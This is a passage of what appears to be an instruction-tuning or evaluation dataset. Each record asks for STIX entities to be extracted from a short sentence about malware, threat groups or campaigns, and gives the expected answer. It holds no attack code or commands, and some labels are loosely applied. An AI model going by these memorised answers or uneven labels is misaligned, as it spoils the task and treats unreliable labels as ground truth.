in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDropBook has checked for the presence of Arabic language in the infected machine's settings.\n",
    "output": "<entities>DropBook</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAndroid/Chuli.A is Android malware that was delivered to activist groups via a spearphishing email with an attachment.\n",
    "output": "<entities>Android/Chuli.A|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nUSBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL. \n",
    "output": "<entities>USBStealer|ADVSTORESHELL|APT28</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPay2Key is a ransomware written in C++ that has been used by Fox Kitten since at least July 2020 including campaigns against Israeli companies. Pay2Key has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.\n",
    "output": "<entities>Pay2Key|Fox Kitten|C++|Israeli</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSHARPSTATS has the ability to employ a custom PowerShell script.\n",
    "output": "<entities>SHARPSTATS|PowerShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSome variants of the Zeroaccess Trojan have been known to store data in Extended Attributes.\n",
    "output": "<entities>Zeroaccess</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nStuxnet uses the SetSecurityDescriptorDacl API to reduce object integrity levels.\n",
    "output": "<entities>Stuxnet</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNotCompatible is an Android malware family that was used between at least 2014 and 2016. It has multiple variants that have become more sophisticated over time.\n",
    "output": "<entities>NotCompatible|Android</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHi-Zor has the ability to create a reverse shell.\n",
    "output": "<entities>Hi-Zor</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCORALDECK has created password-protected RAR, WinImage, and zip archives to be exfiltrated.\n",
    "output": "<entities>CORALDECK|WinImage</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nStreamEx has the ability to modify the Registry.\n",
    "output": "<entities>StreamEx</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPysa can perform network reconnaissance using the Advanced IP Scanner tool.\n",
    "output": "<entities>Pysa|Advanced IP Scanner</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRTM can record keystrokes from both the keyboard and virtual keyboard.\n",
    "output": "<entities>RTM</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006. \n",
    "output": "<entities>Lurid|PittyTiger</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBackConfig is a custom Trojan with a flexible plugin architecture that has been used by Patchwork.\n",
    "output": "<entities>BackConfig|Patchwork</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFIN10 has established persistence by using the Registry option in PowerShell Empire to add a Run key.\n",
    "output": "<entities>FIN10|PowerShell Empire</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPITSTOP is a backdoor that was deployed on compromised Ivanti Connect Secure VPNs during Cutting Edge to enable command execution and file read/write.\n",
    "output": "<entities>PITSTOP|Ivanti Connect Secure VPNs|Cutting Edge</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSUNBURST source code used generic variable names and pre-obfuscated strings, and was likely sanitized of developer comments before being added to SUNSPOT.\n",
    "output": "<entities>SUNBURST|SUNSPOT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOperation Honeybee was a campaign that targeted humanitarian aid and inter-Korean affairs organizations from at least late 2017 through early 2018. Operation Honeybee initially targeted South Korea, but expanded to include Vietnam, Singapore, Japan, Indonesia, Argentina, and Canada. Security researchers assessed the threat actors were likely Korean speakers based on metadata used in both lure documents and executables, and named the campaign \"Honeybee\" after the author name discovered in malicious Word documents.\n",
